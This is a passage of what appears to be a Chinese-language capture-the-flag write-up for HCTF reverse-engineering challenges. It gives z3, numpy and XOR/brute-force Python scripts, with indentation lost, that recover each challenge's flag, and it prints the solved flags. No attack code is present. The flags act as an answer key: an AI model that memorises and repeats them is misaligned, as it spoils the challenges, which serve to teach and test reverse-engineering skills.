s.add(v5[15] ==  flag[4])
s.add(v5[4] ==  flag[15])
s.add(v5[5] == flag[7] +  2)
s.add(v5[13] ==  flag[6])
s.add(v5[6] ==  flag[13])
s.add(v5[7] == flag[9] +  2)
s.add(v5[11] ==  flag[8])
s.add(v5[8] ==  flag[11])
s.add(v5[10] ==  flag[10])
s.add(v5[12] ==  flag[12])
s.add(v5[14] ==  flag[14])
s.add(v5[16] ==  flag[16])
s.add(v5[18] ==  flag[18])
for i in  range(20):
s.add(v5[i] ==  dwords[i])
print  s.check()
m =  s.model()
flag_str =  ''
for i in  range(20):
try:
flag_str +=  chr(m[flag[i]].as_long())
except:
flag_str +=  '?'
print(flag_str)


注意flag的第2个字符其实不能确定,但根据flag的格式就可以猜想是c

前年的400

主逻辑就是flag的那些字符需要满足一个20元的线性非齐次方程组,这里不知道是精度问题还是其他原因使用z3不太好解,选择使用numpy的工具直接解方程即可。


#!/usr/bin/env python
# coding: utf-8
import  re
 
import numpy as  np
from scipy.linalg import  solve
text = '''(757 * v3[6]
+ 691 *  v3[10]
+ 659 *  v3[1]
+ 1303 *  v3[2]
+ 1949 *  v3[3]
+ 3361 *  v3[17]
+ 3527 *  v3[5]
+ 4447 *  v3[4]
+ 5303 *  v3[12]
+ 5417 *  v3[20]
+ 5507 *  v3[8]
+ 6829 *  v3[21]
+ 7907 *  v3[9]
+ 8117 *  v3[13]
+ 9103 *  v3[14]
+ 8923 *  v3[0]
+ 9067 *  v3[19]
+ 9391 *  v3[15]
+ 9629 *  v3[11]
+ 751 *  v3[18]
+ 367 *  v3[7]
+ 89 * v3[16] ==  8678132)
( Too long, skip    )
'''
def  solve_equations():
equals_text = re.findall(r'\(([^\)]+?)\)',  text)
A = np.zeros((len(equals_text),  22),  dtype='int')
B = np.zeros(len(equals_text),  dtype='int')
for i in  range(len(equals_text)):
nums = re.findall(r'(\d+)\s\*\sv3\[(\d+)\]',  equals_text[i])
for k,idx in  nums:
A[i][int(idx)] =  int(k)
num = re.findall(r'==\s(\d+)',  equals_text[i])[0]
B[i] =  int(num)
X = solve(A, B)
flag = map(lambda x:chr(int(round(x))),  list(X))
print  ''.join(flag)
solve_equations()


 

我是最正常的逆向


程序看似很短,实际上代码在data段,将26字节的flag拆成了好几段分别判断,每次判断之后将

下一步的代码解密出来然后跳过去。

通过在call之前设断再dump代码的方式,逐步分析flag。

部分代码如下

# step 1, hctf{
# step 2
# next 4 bytes
xor_key = [0x58, 0x0c, 0x99,  0x96, 0x22, 0x29, 0x0f, 0x8f]
result = [0x5d, 0x09, 0x90,  0x90, 0x26, 0x2f, 0x01, 0x8a]
print [x ^ y for x,y in zip(xor_key,  result)]
next4 =  ''
for i in  range(4):
low = xor_key[i*2] ^  result[i*2]
high = xor_key[i*2 + 1] ^ result[i*2  +  1]
if i <  2:
low -=  1
else:
low +=  1
next4 += chr(((high << 4) &  0xf0) | (low &  0xf))
print  next4
# Result: The_
# next 6 bytes
from string import  printable
for x in  printable:
for y in  printable:
for z in  printable:
v0 = (ord(x) >> 2) +  48
v1 = (16 * ord(x) & 0x30) +  (ord(y) >> 4) +  48
v2 = (4 * ord(y) & 0x3c) +  (ord(z) >> 6) +  48
v3 = (ord(z) & 0x3f) +  48
if v0 == 0x40 and v1 == 0x56  and v2 == 0x35 and v3  ==
0x63:
print  x+y+z
break
 
for x in  printable:
for y in  printable:
for z in  printable:
v0 = (ord(x) >> 2) +  48
v1 = (16 * ord(x) & 0x30) +  (ord(y) >> 4) +  48
v2 = (4 * ord(y) & 0x3c) +  (ord(z) >> 6) +  48
v3 = (ord(z) & 0x3f) +  48
if v0 == 0x4a and v1 == 0x46  and v2 == 0x3d and v3  ==
0x4f:
print  x+y+z
break
# Result: Basic_
# step4
# next 6 bytes
result =  "E44534E47712"[::-1]
print ''.join(chr(0x11 ^ ord(x))  for x in  result.decode('hex'))
# Result: 0f_RE_
# step5
# Result: 0c9m
# flag: hctf{The_Basic_0f_RE_0C9m}

 

请先登录
+1 已点过赞
0
分享到:
登录后才能发贴或参与互动哦! 点击登录

全部评论 (0)